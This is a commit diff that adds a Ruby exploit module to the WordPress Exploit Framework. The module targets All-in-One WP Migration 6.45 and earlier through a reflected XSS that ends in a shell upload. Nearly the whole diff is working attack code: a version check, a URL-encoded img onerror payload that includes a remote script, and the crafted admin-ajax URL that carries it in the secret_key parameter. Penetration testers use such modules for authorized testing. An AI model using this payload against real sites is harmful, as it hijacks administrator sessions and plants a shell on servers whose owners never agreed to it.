Add All-in-One WP Migration <= 6.45 reflected XSS shell upload

Author: rastating

modules/exploits/all_in_one_migration_reflected_xss_shell_upload.rb

@@ -0,0 +1,31 @@
+class Wpxf::Exploit::AllInOneMigrationReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'All In One WP Migration <= 6.45 Reflected XSS Shell Upload',
+      author: [
+        '0w4ys',                          # Dislosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8851']
+      ],
+      date: 'Jun 20 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('all-in-one-wp-migration', '6.46')
+  end
+
+  def xss_payload
+    url_encode("\"}<img src=#{Utility::Text.rand_alpha(5)} onerror=#{xss_ascii_encoded_include_script}><!--")
+  end
+
+  def url_with_xss
+    "#{wordpress_url_admin_ajax}?action=ai1wm_status&secret_key=#{xss_payload}"
+  end
+end